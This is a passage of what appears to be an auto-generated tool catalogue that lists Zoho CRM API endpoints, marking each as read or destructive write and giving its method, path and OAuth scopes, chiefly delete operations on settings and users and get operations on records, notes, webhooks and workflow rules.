organization. DELETE /api/v1/zohocrm/settings/custom_views. Scopes: ZohoCRM.settings.ALL. zohocrm_delete_settings_duplicate_check_preference (write, destructive) — Delete Duplicate Check Preference. To delete the duplicate check preference configured for the Leads module in your Zoho CRM organization. DELETE /api/v1/zohocrm/settings/duplicate_check_preference. Scopes: ZohoCRM.settings.ALL. zohocrm_delete_settings_fields_by_fieldid (write, destructive) — Delete a custom field. To delete a custom field from a module in your Zoho CRM account. The field must not be used in workflows, approvals, scoring rules, or other configurations before deletion. DELETE /api/v1/zohocrm/settings/fields/{fieldId}. Scopes: ZohoCRM.settings.ALL. zohocrm_delete_settings_fields_by_fieldid_pick_list_values_by_picklistvalueid (write, destructive) — Delete a picklist field option. Delete picklist field option DELETE /api/v1/zohocrm/settings/fields/{fieldId}/pick_list_values/{pickListValueId}. Scopes: ZohoCRM.settings.ALL. zohocrm_delete_settings_global_picklists (write, destructive) — Delete a Global Picklist. Deletes a single global picklist by numeric id. This request is asynchronous: a 202 Accepted indicates deletion has been scheduled and the response includes a job_id in details. There is no status-check endpoint currently. If the provided id is not present or deletion has already been scheduled, a 400 Bad Request is... DELETE /api/v1/zohocrm/settings/global_picklists. Scopes: ZohoCRM.settings.ALL. zohocrm_delete_settings_global_picklists_by_id (write, destructive) — Delete a Global Picklist by ID. Deletes a single global picklist identified by the path parameter {id }. This request is asynchronous: a 202 Accepted indicates deletion has been scheduled and the response contains a job_id in details. There is no status-check endpoint. A 400 Bad Request is returned for invalid id, deletion already scheduled... DELETE /api/v1/zohocrm/settings/global_picklists/{id}. Scopes: ZohoCRM.settings.ALL. zohocrm_delete_settings_holidays_by_holidayid (write, destructive) — Holiday. To permanently delete a holiday from Zoho CRM using its unique identifier. The deletion cannot be undone. DELETE /api/v1/zohocrm/settings/holidays/{holidayId}. Scopes: ZohoCRM.settings.ALL. zohocrm_delete_settings_layouts_by_id (write, destructive) — Delete a custom layout. To delete a custom layout from a module in your Zoho CRM organization. When the layout being deleted has associated records, a target layout must be specified to receive the transferred records and profile associations. If the layout has an associated pipeline, the target pipeline and stage must also be provided.... DELETE /api/v1/zohocrm/settings/layouts/{id}. Scopes: ZohoCRM.settings.ALL. zohocrm_delete_settings_layouts_by_id_actions_activate (write, destructive) — Deactivate Layout. Deactivates an active layout and transfers its configuration (profile associations, permissions, field mappings) to another active layout within the same module. At least one active layout must remain in the module. This operation is idempotent - attempting to deactivate an already deactivated layout returns an error... DELETE /api/v1/zohocrm/settings/layouts/{id}/actions/activate. Scopes: ZohoCRM.settings.ALL. zohocrm_delete_settings_layouts_by_layoutid_map_dependency_by_dependencyid (write, destructive) — Delete a field dependency. To delete a specific field dependency from a layout in your Zoho CRM organization. DELETE /api/v1/zohocrm/settings/layouts/{layoutId}/map_dependency/{dependencyId}. Scopes: ZohoCRM.settings.ALL. zohocrm_delete_settings_portals_by_portal_user_type_by_usertype_users (write, destructive) — delete portal users. To delete one or more portal users from your Zoho CRM organization for the specified portal and user type. DELETE /api/v1/zohocrm/settings/portals/{portal}/user_type/{userType}/users. Scopes: ZohoCRM.settings.ALL. zohocrm_delete_settings_portals_by_portal_user_type_by_usertypeid (write, destructive) — Delete user type. Deletes the specified portal user type from the portal. If portal users are assigned to this user type, provide transfer_To with the ID of another user type to transfer them before deletion. DELETE /api/v1/zohocrm/settings/portals/{portal}/user_type/{userTypeId}. Scopes: ZohoCRM.settings.ALL. zohocrm_delete_settings_profiles_by_id (write, destructive) — Profile. Transfers all users of the profile identified by {id} to the profile specified by the transfer_to query parameter, then permanently deletes the source profile. System profiles (Administrator, Standard) cannot be deleted. See [Transfer Users and Delete a... DELETE /api/v1/zohocrm/settings/profiles/{id}. Scopes: ZohoCRM.settings.ALL. zohocrm_delete_settings_record_locking_configurations (write, destructive) — Delete record locking configuration. Deletes the record locking configuration(s) for the specified module using the provided configuration IDs. DELETE /api/v1/zohocrm/settings/record_locking_configurations. Scopes: ZohoCRM.settings.ALL. zohocrm_delete_settings_record_locking_configurations_by_id (write, destructive) — Delete specific record locking configuration. Deletes a specific record locking configuration using the configuration ID provided in the URL path. DELETE /api/v1/zohocrm/settings/record_locking_configurations/{id}. Scopes: ZohoCRM.settings.ALL. zohocrm_delete_settings_recycle_bin (write, destructive) — Delete recycle-bin records. To permanently delete one or more records from the Recycle Bin in your Zoho CRM account. When deleting a parent record, Zoho CRM also removes all its associated child records from the Recycle Bin, such as Notes and Attachments. When the total number of records to delete is 1000 or fewer, the operation completes... DELETE /api/v1/zohocrm/settings/recycle_bin. Scopes: ZohoCRM.settings.ALL. zohocrm_delete_settings_recycle_bin_by_recordid (write, destructive) — Delete a recycle-bin record permanently. To permanently delete a single record from the Recycle Bin in your Zoho CRM account using its unique ID. Deleting a parent record also removes all its associated child records from the Recycle Bin, such as Notes and Attachments. This operation is irreversible - the record cannot be restored after deletion. When the... DELETE /api/v1/zohocrm/settings/recycle_bin/{recordId}. Scopes: ZohoCRM.settings.ALL. zohocrm_delete_settings_roles_by_role (write, destructive) — Delete a role. Deletes a role in your Zoho CRM organization and moves its users to another role. DELETE /api/v1/zohocrm/settings/roles/{role}. Scopes: ZohoCRM.settings.ALL. zohocrm_delete_settings_tags_by_id (write, destructive) — Delete tag by ID. To delete a tag by its ID from your Zoho CRM organization. DELETE /api/v1/zohocrm/settings/tags/{id}. Scopes: ZohoCRM.settings.ALL. zohocrm_delete_settings_territories (write, destructive) — Delete territories. To delete one or more territories from your Zoho CRM organization. The territories to delete are specified using the ids query parameter. Deleting a territory is irreversible; child territories must be transferred before a parent territory can be deleted. DELETE /api/v1/zohocrm/settings/territories. Scopes: ZohoCRM.settings.ALL. zohocrm_delete_settings_territories_by_id (write, destructive) — Delete a territory by ID. To delete a specific territory from your Zoho CRM organization using its unique ID. DELETE /api/v1/zohocrm/settings/territories/{id}. Scopes: ZohoCRM.settings.ALL. zohocrm_delete_settings_territories_by_territory_users (write, destructive) — Territory Users. To disassociate one or more users from a territory in your Zoho CRM organization. DELETE /api/v1/zohocrm/settings/territories/{territory}/users. Scopes: ZohoCRM.settings.ALL, ZohoCRM.users.ALL. zohocrm_delete_settings_territories_by_territory_users_by_user (write, destructive) — Territory User. To disassociate a specific user from a territory in your Zoho CRM organization. DELETE /api/v1/zohocrm/settings/territories/{territory}/users/{user}. Scopes: ZohoCRM.settings.ALL, ZohoCRM.users.ALL. zohocrm_delete_settings_unsubscribe_links_by_id (write, destructive) — Delete Unsubscribe Link by ID. To delete a specific unsubscribe link. Note that the default unsubscribe link cannot be deleted. DELETE /api/v1/zohocrm/settings/unsubscribe_links/{id}. Scopes: ZohoCRM.settings.ALL. zohocrm_delete_settings_user_groups_by_group (write, destructive) — Delete a user group. To delete an existing user group from your Zoho CRM organization. The deletion may be immediate or scheduled for background processing, depending on group size and active references. DELETE /api/v1/zohocrm/settings/user_groups/{group}. Scopes: ZohoCRM.settings.ALL. zohocrm_delete_settings_variables (write, destructive) — Delete variables. Deletes one or more CRM variables by their IDs. Pass variable IDs as a comma-separated list in the ids query parameter, or pass rids in the rids query parameter. A variable that is associated with other features such as email templates, webhooks, or functions cannot be deleted until the association is removed.... DELETE /api/v1/zohocrm/settings/variables. Scopes: ZohoCRM.settings.ALL. zohocrm_delete_settings_variables_by_id (write, destructive) — Specific variable. Deletes a specific CRM variable identified by its ID. A variable that is associated with other features such as email templates, webhooks, or functions cannot be deleted until the association is removed. Requires the ZohoCRM.settings.variables.DELETE scope. DELETE /api/v1/zohocrm/settings/variables/{id}. Scopes: ZohoCRM.settings.ALL. zohocrm_delete_settings_zia_data_enrichment_by_id (write, destructive) — Delete Zia Enrichment Configuration for a specific module. Deletes a Zia Enrichment Configuration for a specific module by ID. Use the [Get Modules API](modules.yaml#$.paths./settings/modules.get) to retrieve module ID. DELETE /api/v1/zohocrm/settings/zia/data_enrichment/{id}. Scopes: ZohoCRM.zia.enrichment.DELETE. zohocrm_delete_users_by_user (write, destructive) — Delete a user from the organization. To delete a specific user from your Zoho CRM organization, submit a DELETE request with the target user ID. Only one user can be removed per request, and certain protected user types — including support, system, Digital Employee, and primary contact users — cannot be deleted. DELETE /api/v1/zohocrm/users/{user}. Scopes: ZohoCRM.users.DELETE. zohocrm_delete_users_by_user_territories (write, destructive) — Remove territories from a user. To remove one or more territories from a user in your Zoho CRM organization. DELETE /api/v1/zohocrm/users/{user}/territories. Scopes: ZohoCRM.settings.ALL, ZohoCRM.users.DELETE. zohocrm_delete_users_by_user_territories_by_territory (write, destructive) — Remove territory from a user. To remove a specific territory from a user in your Zoho CRM organization. DELETE /api/v1/zohocrm/users/{user}/territories/{territory}. Scopes: ZohoCRM.settings.ALL, ZohoCRM.users.DELETE. zohocrm_get_actions_watch (read) — List active notification channels. To retrieve the list of active notification channels configured for your Zoho CRM organization. GET /api/v1/zohocrm/actions/watch. Scopes: ZohoCRM.notifications.READ. zohocrm_get_apis (read) — List available REST APIs. To retrieve the list of available REST API endpoints in your Zoho CRM organization for a specific API version. You can filter the results by module, OAuth scope, or request method using the filters parameter. GET /api/v1/zohocrm/__apis. Scopes: ZohoCRM.apis.READ. zohocrm_get_appointments_s (read) — Get Appointment Records. To retrieve appointment records from your Zoho CRM organization. Use the page and per_page parameters to paginate up to 2,000 records, or use the page_token received in a prior response to paginate beyond 2,000 records up to a maximum of 100,000. Each request returns a maximum of 200 records. Subform data is not... GET /api/v1/zohocrm/Appointments__s. Scopes: ZohoCRM.modules.READ. zohocrm_get_appointments_s_by_appointmentid (read) — Get an Appointment Record by ID. To retrieve the details of a single appointment record from your Zoho CRM organization. GET /api/v1/zohocrm/Appointments__s/{appointmentId}. Scopes: ZohoCRM.modules.READ. zohocrm_get_by_module (read) — Get records from a specified module. Retrieves records from the specified module in your Zoho CRM organization. Use the [Get Modules API](modules.yaml#$.paths./settings/modules.get) to retrieve the module ID and API name. Use 'sort_by' and 'sort_order' to control the sorting of records. To fetch up to 2000 records, use 'page' (1-10) and 'per_page'... GET /api/v1/zohocrm/{module}. Scopes: ZohoCRM.modules.READ. zohocrm_get_by_module_actions_mass_change_owner (read) — Get mass change owner job status. To retrieve the status of a previously scheduled mass change owner job in your Zoho CRM organization. The OAuth scope enforced is specific to the target module (for example, ZohoCRM.change_owner.leads.READ for Leads); modules without a dedicated scope fall back to a generic custom-module scope. GET /api/v1/zohocrm/{module}/actions/mass_change_owner. Scopes: ZohoCRM.change_owner.READ. zohocrm_get_by_module_actions_mass_delete (read) — Retrieve mass delete job status. To retrieve the status and record counts of a previously scheduled mass delete job in your Zoho CRM organization. GET /api/v1/zohocrm/{module}/actions/mass_delete. Scopes: ZohoCRM.mass_delete.READ. zohocrm_get_by_module_actions_mass_update (read) — Get mass update job status. To retrieve the current status and record-processing counts of an asynchronous mass update job that was previously scheduled in your Zoho CRM organization. The job is identified by the job_id returned in the response of the scheduler-type mass update request. The response reports the job state along with the total... GET /api/v1/zohocrm/{module}/actions/mass_update. Scopes: ZohoCRM.mass_update.Leads.READ, ZohoCRM.mass_update.READ. zohocrm_get_by_module_actions_portal_invite (read) — Invite portal users. To retrieve the status of a scheduled portal invitation job in your Zoho CRM organization using the job identifier returned when invitations were scheduled. GET /api/v1/zohocrm/{module}/actions/portal_invite. Scopes: ZohoCRM.settings.READ. zohocrm_get_by_module_by_dealid_contact_roles (read) — Deal Contact Roles. Retrieve contact roles associated with a deal. GET /api/v1/zohocrm/{module}/{dealId}/Contact_Roles. Scopes: ZohoCRM.modules.READ. zohocrm_get_by_module_by_dealid_contact_roles_by_contactid (read) — Deal Contact Roles. Retrieves the contact role relation for a specific contact associated with a deal. GET /api/v1/zohocrm/{module}/{dealId}/Contact_Roles/{contactId}. Scopes: ZohoCRM.modules.READ. zohocrm_get_by_module_by_masterrecordid_actions_merge (read) — Get Merge Job Status. To retrieve the status of a scheduled merge job in your Zoho CRM organization. Use the optional job_id query parameter to filter results to a specific job. GET /api/v1/zohocrm/{module}/{masterRecordId}/actions/merge. Scopes: ZohoCRM.modules.READ. zohocrm_get_by_module_by_record_email_drafts (read) — List Email Drafts for a Record. Retrieves the list of email drafts associated with the specified record in the given module. GET /api/v1/zohocrm/{module}/{record}/__email_drafts. Scopes: ZohoCRM.modules.READ. zohocrm_get_by_module_by_record_email_drafts_by_draft (read) — Get an Email Draft. Retrieves the specified email draft for the given record in the module. GET /api/v1/zohocrm/{module}/{record}/__email_drafts/{draft}. Scopes: ZohoCRM.modules.READ. zohocrm_get_by_module_by_record_photo (read) — Get a record photo. To retrieve the photo associated with a specific record in your Zoho CRM organization. GET /api/v1/zohocrm/{module}/{record}/photo. Scopes: ZohoCRM.modules.READ. zohocrm_get_by_module_by_recordid (read) — Get a record by ID from a specified module. To retrieve the details of a specific record by its unique ID from the specified module in your Zoho CRM organization. Use the [Get Modules API](modules.yaml#$.paths./settings/modules.get) to retrieve the module ID and API name. Use the [Get Records API](record.yaml#$.paths./module.get) to retrieve the record IDs. GET /api/v1/zohocrm/{module}/{recordId}. Scopes: ZohoCRM.modules.READ. zohocrm_get_by_module_by_recordid_timeline (read) — Get Timelines. To retrieve a paginated list of timeline entries for a specific record in your Zoho CRM organization. Each timeline entry captures an audited event such as field changes, ownership transfers, workflow actions, Approval Process progressions, Scoring Rule updates, and signal events from extensions. GET /api/v1/zohocrm/{module}/{recordId}/__timeline. Scopes: ZohoCRM.modules.READ. zohocrm_get_by_module_deleted (read) — Get deleted records from a specified module. To retrieve the list of deleted records from the specified module in your Zoho CRM organization, including records in the recycle bin and permanently deleted records. Use the [Get Modules API](modules.yaml#$.paths./settings/modules.get) to retrieve the module ID and API name. GET /api/v1/zohocrm/{module}/deleted. Scopes: ZohoCRM.modules.READ. zohocrm_get_by_module_search (read) — Search Records by Criteria, Word, Email, or Phone. To search for records within a specified module in your Zoho CRM organization using criteria-based conditions, full-text word search, or lookup by email or phone number. GET /api/v1/zohocrm/{module}/search. Scopes: ZohoCRM.modules.READ, ZohoCRM.users.READ. zohocrm_get_by_moduleapiname_actions_count (read) — Module Record Count. To retrieve the total number of records in a specified Zoho CRM module, optionally filtered by a Custom View or search criteria. The count can be filtered using cvid (Custom View ID) or search parameters (criteria, email, phone, or word). These two filter groups are mutually exclusive - they cannot be combined in the... GET /api/v1/zohocrm/{moduleApiName}/actions/count. Scopes: ZohoCRM.modules.READ. zohocrm_get_by_moduleapiname_actions_fetch_full_data (read) — Rich text field content for multiple records. Retrieves the full content of rich text multi-line fields for multiple records in a single request. Both the 'ids' and 'fields' query parameters are mandatory. You can specify up to 200 record IDs in the 'ids' parameter and up to 8 rich text field API names in the 'fields' parameter. This API exclusively fetches rich... GET /api/v1/zohocrm/{moduleApiName}/actions/fetch_full_data. Scopes: ZohoCRM.modules.READ. zohocrm_get_by_moduleapiname_by_id_actions_fetch_full_data (read) — Rich text field content for a specific record. Retrieves the full content of rich text multi-line fields for a specific record identified by its record ID in the path. The 'fields' query parameter is optional for this endpoint - if omitted, all rich text fields of the record are returned. When specified, only the listed rich text fields are fetched. This API... GET /api/v1/zohocrm/{moduleApiName}/{id}/actions/fetch_full_data. Scopes: ZohoCRM.modules.READ. zohocrm_get_by_moduleapiname_by_id_emails_sharing_details (read) — Get email sharing details for a record. To retrieve the email sharing details for a specific record in your Zoho CRM organization, including the users whose email accounts are accessible and the available email filter options for the record's email view. GET /api/v1/zohocrm/{moduleApiName}/{id}/__emails_sharing_details. Scopes: ZohoCRM.modules.ALL, ZohoCRM.modules.READ. zohocrm_get_by_moduleapiname_by_recordid_actions_share (read) — Share Records. To retrieve the share details of a specific record in a module of your Zoho CRM organization. The response lists each entry with the recipient, the access level, and the sharing metadata. GET /api/v1/zohocrm/{moduleApiName}/{recordId}/actions/share. Scopes: ZohoCRM.share.accounts.READ, ZohoCRM.share.bundles.READ, ZohoCRM.share.calls.READ, ZohoCRM.share.campaigns.READ, ZohoCRM.share.cases.READ, ZohoCRM.share.contacts.READ, ZohoCRM.share.custom.READ, ZohoCRM.share.deals.READ, ZohoCRM.share.events.READ, ZohoCRM.share.invoices.READ, ZohoCRM.share.leads.READ, ZohoCRM.share.pricebooks.READ, ZohoCRM.share.products.READ, ZohoCRM.share.purchaseorders.READ, ZohoCRM.share.quotes.READ, ZohoCRM.share.salesorders.READ, ZohoCRM.share.solutions.READ, ZohoCRM.share.tasks.READ, ZohoCRM.share.vendors.READ. zohocrm_get_by_moduleapiname_by_recordid_attachments (read) — Retrieve All Attachments. Retrieves all attachments associated with a specific record in a module. GET /api/v1/zohocrm/{moduleApiName}/{recordId}/Attachments. Scopes: ZohoCRM.modules.ALL, ZohoCRM.modules.READ. zohocrm_get_by_moduleapiname_by_recordid_attachments_by_id (read) — Download a specific attachment file. Download the file content of a specific attachment by its ID. This endpoint returns the actual file (image, PDF, document, etc.). Returns an error for link attachments, as they cannot be downloaded. GET /api/v1/zohocrm/{moduleApiName}/{recordId}/Attachments/{id}. Scopes: ZohoCRM.modules.READ. zohocrm_get_by_modulename_by_recordid_locking_information_s (read) — Get record locking information. To retrieve the locking information details of a locked record in your Zoho CRM account, including the user who locked the record, the lock source, reason, and timestamp. GET /api/v1/zohocrm/{moduleName}/{recordId}/Locking_Information__s. Scopes: ZohoCRM.settings.READ. zohocrm_get_by_modulename_by_recordid_locking_information_s_by_lockid (read) — Get record locking information by ID. To retrieve the locking information details of a specific locked record in your Zoho CRM account using its locking information ID, including the user who locked the record, the lock source, reason, and timestamp. GET /api/v1/zohocrm/{moduleName}/{recordId}/Locking_Information__s/{lockId}. Scopes: ZohoCRM.settings.READ. zohocrm_get_by_parentrecordmodule_by_parentrecord_by_relatedlist (read) — Related Records. To retrieve the list of records associated with a parent record from a specified related list in your Zoho CRM organization. GET /api/v1/zohocrm/{parentRecordModule}/{parentRecord}/{relatedList}. Scopes: ZohoCRM.modules.READ. zohocrm_get_by_parentrecordmodule_by_parentrecord_by_relatedlist_by_record (read) — Get a related record. To retrieve the details of a specific related record from a specified related list of a parent record in your Zoho CRM organization. GET /api/v1/zohocrm/{parentRecordModule}/{parentRecord}/{relatedList}/{record}. Scopes: ZohoCRM.modules.READ. zohocrm_get_by_parentrecordmodule_by_parentrecordid_notes (read) — Related Notes. Retrieves a paginated list of notes associated with a specific parent record in a CRM module. GET /api/v1/zohocrm/{parentRecordModule}/{parentRecordId}/Notes. Scopes: ZohoCRM.modules.READ. zohocrm_get_by_parentrecordmodule_by_parentrecordid_notes_by_noteid (read) — Specific Related Note. Retrieves details of a specific note record associated with a CRM record in your Zoho CRM organization. GET /api/v1/zohocrm/{parentRecordModule}/{parentRecordId}/Notes/{noteId}. Scopes: ZohoCRM.modules.READ. zohocrm_get_by_parentrecordmodule_deleted_by_parentrecord_by_relatedlist (read) — List deleted related records. To retrieve the list of records that were previously associated with a parent record but have since been deleted from the related list in your Zoho CRM organization. GET /api/v1/zohocrm/{parentRecordModule}/deleted/{parentRecord}/{relatedList}. Scopes: ZohoCRM.modules.READ. zohocrm_get_contacts_roles (read) — List Contact Roles. Retrieves the list of contact roles available in your Zoho CRM organization. GET /api/v1/zohocrm/Contacts/roles. Scopes: ZohoCRM.modules.READ. zohocrm_get_contacts_roles_by_role (read) — Get a Contact Role. Retrieves the details of a specific contact role by its unique identifier in your Zoho CRM organization. GET /api/v1/zohocrm/Contacts/roles/{role}. Scopes: ZohoCRM.modules.READ. zohocrm_get_features (read) — Features. To retrieve the list of all features available in your Zoho CRM organization for the current subscription edition, along with their usage limits and component details. GET /api/v1/zohocrm/__features. Scopes: ZohoCRM.features.READ. zohocrm_get_features_by_feature (read) — Specific Feature. To retrieve the detailed information for a specific feature in your Zoho CRM organization, including its usage limits, consumption details, and sub-feature components. GET /api/v1/zohocrm/__features/{feature}. Scopes: ZohoCRM.features.READ. zohocrm_get_features_user_licenses (read) — User Licenses Feature. To get the user licenses feature details for the current edition GET /api/v1/zohocrm/__features/user_licenses. Scopes: ZohoCRM.features.READ. zohocrm_get_files (read) — Retrieve a file from ZFS. To retrieve the binary content of a file stored in Zoho File System (ZFS) using its unique file ID. The file ID is provided as a required query parameter 'id'. If the file exists, the API returns the file's binary data along with appropriate headers indicating the MIME type and content disposition for download. If the... GET /api/v1/zohocrm/files. Scopes: ZohoCRM.files.READ. zohocrm_get_leads_actions_mass_convert (read) — Get mass convert job status. To retrieve the current status and conversion counts of a previously scheduled mass convert job in your Zoho CRM organization. GET /api/v1/zohocrm/Leads/actions/mass_convert. Scopes: ZohoCRM.mass_convert.leads.READ. zohocrm_get_leads_by_leadid_conversion_options (read) — Lead Conversion Options. Retrieves available conversion options for a lead including matching contacts, accounts, field mappings, and layout preferences. This endpoint helps determine what conversion paths are available before performing the actual lead conversion. GET /api/v1/zohocrm/Leads/{leadId}/__conversion_options. Scopes: ZohoCRM.modules.READ. zohocrm_get_notes (read) — Notes. Retrieves a list of notes. GET /api/v1/zohocrm/Notes. Scopes: ZohoCRM.modules.READ. zohocrm_get_notes_by_id (read) — Get a Specific Note. Retrieves details of a specific note by its ID. GET /api/v1/zohocrm/Notes/{id}. Scopes: ZohoCRM.modules.READ. zohocrm_get_org (read) — Get organization details. To retrieve the organization details associated with your Zoho CRM account. GET /api/v1/zohocrm/org. Scopes: ZohoCRM.org.READ. zohocrm_get_org_currencies (read) — List currencies. Retrieves all added currencies in the organization. GET /api/v1/zohocrm/org/currencies. Scopes: ZohoCRM.settings.READ. zohocrm_get_org_currencies_by_currency (read) — Specific Currency. Retrieves details of a specific currency via its unique currency ID. GET /api/v1/zohocrm/org/currencies/{currency}. Scopes: ZohoCRM.settings.READ. zohocrm_get_org_photo (read) — Organization photo. To retrieve the organization photo for your Zoho CRM organization. GET /api/v1/zohocrm/org/photo. Scopes: ZohoCRM.org.READ. zohocrm_get_read_by_jobid (read) — Get bulk read job details. To retrieve the details of a bulk read job in Zoho CRM. Use this API to check the current state of a bulk read job and obtain the download URL once the job is complete. Specify the unique job ID that Zoho CRM returned when you created the job. GET /api/v1/zohocrm/read/{jobId}. Scopes: ZohoCRM.bulk.READ, ZohoCRM.modules.ALL. zohocrm_get_services_s (read) — Get services. To retrieve the list of service records in your Zoho CRM organization that match the specified filter criteria. Supports pagination using either the page or page_token parameter and can return up to 100,000 services across paginated requests. GET /api/v1/zohocrm/Services__s. Scopes: ZohoCRM.modules.READ. zohocrm_get_services_s_by_id (read) — Retrieve a specific service record by ID. To retrieve the full details of a single service record from your Zoho CRM organization using its unique ID, including its availability configuration, members, pricing, tax details, and subform data. GET /api/v1/zohocrm/Services__s/{id}. Scopes: ZohoCRM.modules.READ. zohocrm_get_settings_appointment_preferences (read) — Get Appointment Preferences. Fetches the existing configuration for appointment preferences, including rules for deal creation, job sheet visibility, and mark as complete configurations. GET /api/v1/zohocrm/settings/appointment_preferences. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_audit_log_export (read) — Get audit log export jobs. To retrieve the list of all audit log export jobs in your Zoho CRM organization, along with their status, filter criteria, and download links. GET /api/v1/zohocrm/settings/audit_log_export. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_audit_log_export_by_id (read) — Get the Status of the Export Audit Log Job. Retrieves the details of a specific audit log export job in your Zoho CRM organization by its ID, including its status, filter criteria, and download link(s). GET /api/v1/zohocrm/settings/audit_log_export/{id}. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_automation_assignment_rules (read) — Assignment Rules. To retrieve all Assignment Rules configured in your Zoho CRM organization. GET /api/v1/zohocrm/settings/automation/assignment_rules. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_automation_assignment_rules_actions_count (read) — Assignment Rules Count. To retrieve the count of Assignment Rules configured for a module in your Zoho CRM organization. GET /api/v1/zohocrm/settings/automation/assignment_rules/actions/count. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_automation_assignment_rules_by_id (read) — Specific Assignment Rule details. To retrieve the details of a single Assignment Rule in your Zoho CRM organization. GET /api/v1/zohocrm/settings/automation/assignment_rules/{id}. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_automation_assignment_rules_by_id_actions_associations (read) — Assignment Rule Associations. To retrieve the CRM features associated with a single Assignment Rule in your Zoho CRM organization. GET /api/v1/zohocrm/settings/automation/assignment_rules/{id}/actions/associations. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_automation_cadences (read) — List Cadences. To retrieve the list of Cadences in your Zoho CRM organization. GET /api/v1/zohocrm/settings/automation/cadences. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_automation_cadences_actions_count (read) — Get Cadence module actions count. To retrieve the total number of follow-up actions configured for the specified CRM module across all Cadences in your Zoho CRM organization. The count includes tasks, emails, calls, and WhatsApp messages, and is used to enforce the edition-level per-module action count limit. GET /api/v1/zohocrm/settings/automation/cadences/actions/count. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_automation_cadences_actions_records_count (read) — Get Cadence records count. To retrieve the record counts for the specified Cadences from your Zoho CRM organization. For each Cadence ID supplied in the ids query parameter, the response returns the number of records currently associated with that Cadence. A maximum of 100 Cadence IDs can be supplied per request. GET /api/v1/zohocrm/settings/automation/cadences/actions/records_count. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_automation_cadences_by_id (read) — Get a Cadence. To retrieve the configuration and details of a specific Cadence from your Zoho CRM organization. The response includes the follow-up action tree with server-resolved parent follow-up IDs, unenroll properties, Custom View configuration, and the current Cadence status. GET /api/v1/zohocrm/settings/automation/cadences/{id}. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_automation_cadences_by_id_actions_analytics (read) — Get Cadence analytics. To retrieve per-follow-up execution statistics for the specified Cadence in your Zoho CRM organization. Each follow-up element returns an analytics payload whose structure depends on its action type: tasks (open, completed, and failed counts), schedule_call (created, scheduled, completed, missed, cancelled, overdue... GET /api/v1/zohocrm/settings/automation/cadences/{id}/actions/analytics. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_automation_field_updates (read) — Get Field Updates. Retrieves a paginated list of field update actions. OPTIONAL FILTERS: module (string — filter by module API name), related_module (string — filter by related module API name), feature_type ('workflow'), sort_by, sort_order, page, per_page. Use the Fields metadata API to get field IDs and API names, and the Modules... GET /api/v1/zohocrm/settings/automation/field_updates. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_automation_field_updates_by_id (read) — Get Field Update By Id. Retrieves the details of the specified Field Update action, including its field configuration, module details, configured value, dependent fields, and audit information. Specify the Field Update ID in the path parameter. To retrieve additional field metadata, set the 'include_inner_details' query parameter to one or... GET /api/v1/zohocrm/settings/automation/field_updates/{id}. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_automation_scoring_rules (read) — Scoring Rules. To retrieve a list of Scoring Rules configured in your Zoho CRM organization. GET /api/v1/zohocrm/settings/automation/scoring_rules. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_automation_scoring_rules_by_ruleid (read) — Get scoring rule by ID. To retrieve the details of a specific Scoring Rule by its ID in your Zoho CRM organization. GET /api/v1/zohocrm/settings/automation/scoring_rules/{ruleId}. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_automation_tasks (read) — List automation task definitions with optional filters. PURPOSE: Retrieves a paginated list of automation task definitions. Supports filtering by module, feature_type, and name (via filter param). PAGINATION: page (default 1), per_page (default 200, max 200). Use info.more_records to determine if additional pages exist. A 204 response indicates no tasks match the supplied... GET /api/v1/zohocrm/settings/automation/tasks. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_automation_tasks_by_id (read) — Automation Task. PURPOSE: Retrieves the full details of a specific automation task definition including field mappings, module association, lock status, and metadata. MANDATORY: id path parameter (string - automation task definition ID, not a Task record ID). Returns 204 if the task does not exist. Use this to inspect the current... GET /api/v1/zohocrm/settings/automation/tasks/{id}. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_automation_webhook_failures (read) — Get webhook execution failure records. To retrieve detailed information about webhook execution failures in your Zoho CRM organization. Optionally filter results by module, webhook ID, and date range. If the from and to parameters are not specified, the API returns webhook failures from the last 30 days by default. The maximum allowed span between from and... GET /api/v1/zohocrm/settings/automation/webhook_failures. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_automation_webhooks (read) — Get webhooks. To retrieve the list of all webhook action configurations available in your Zoho CRM organization. The response contains summary-level data for each webhook, including the module, URL, HTTP method, feature type, and audit metadata. Use the [Get Webhooks API using... GET /api/v1/zohocrm/settings/automation/webhooks. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_automation_webhooks_actions_associated_modules (read) — Get webhook-associated modules. To retrieve the list of CRM modules that have at least one webhook currently associated in your Zoho CRM organization. Results are filtered based on the requesting user's module access permissions. Use these module API names as valid values for the module filter when querying webhook failures. GET /api/v1/zohocrm/settings/automation/webhooks/actions/associated_modules. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_automation_webhooks_actions_usage_reports (read) — Get webhook action usage reports. To retrieve usage statistics for webhook actions executed in your Zoho CRM organization. Specify the group_by parameter to control the granularity of results; optionally filter by automation feature type and date range. GET /api/v1/zohocrm/settings/automation/webhooks/actions/usage_reports. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_automation_webhooks_by_webhookid (read) — Get webhook by ID. To retrieve the configuration of a specific webhook in your Zoho CRM organization using its ID. Use the [Get Webhooks API](webhooks.yaml#$.paths./settings/automation/webhooks.get) first to discover webhook IDs. GET /api/v1/zohocrm/settings/automation/webhooks/{webhookId}. Scopes: ZohoCRM.settings.READ. zohocrm_get_settings_automation_workflow_rules (read) — List Workflow Rules in your Zoho CRM Organization. To retrieve the list of workflow rules configured in your Zoho CRM organization, including their trigger conditions, module associations, and action configurations. By default, each rule includes only summary-level data; set the include_inner_details parameter to true to include full condition criteria and action... GET /api/v1/zohocrm/settings/automation/workflow_rules. Scopes: ZohoCRM.settings.READ. 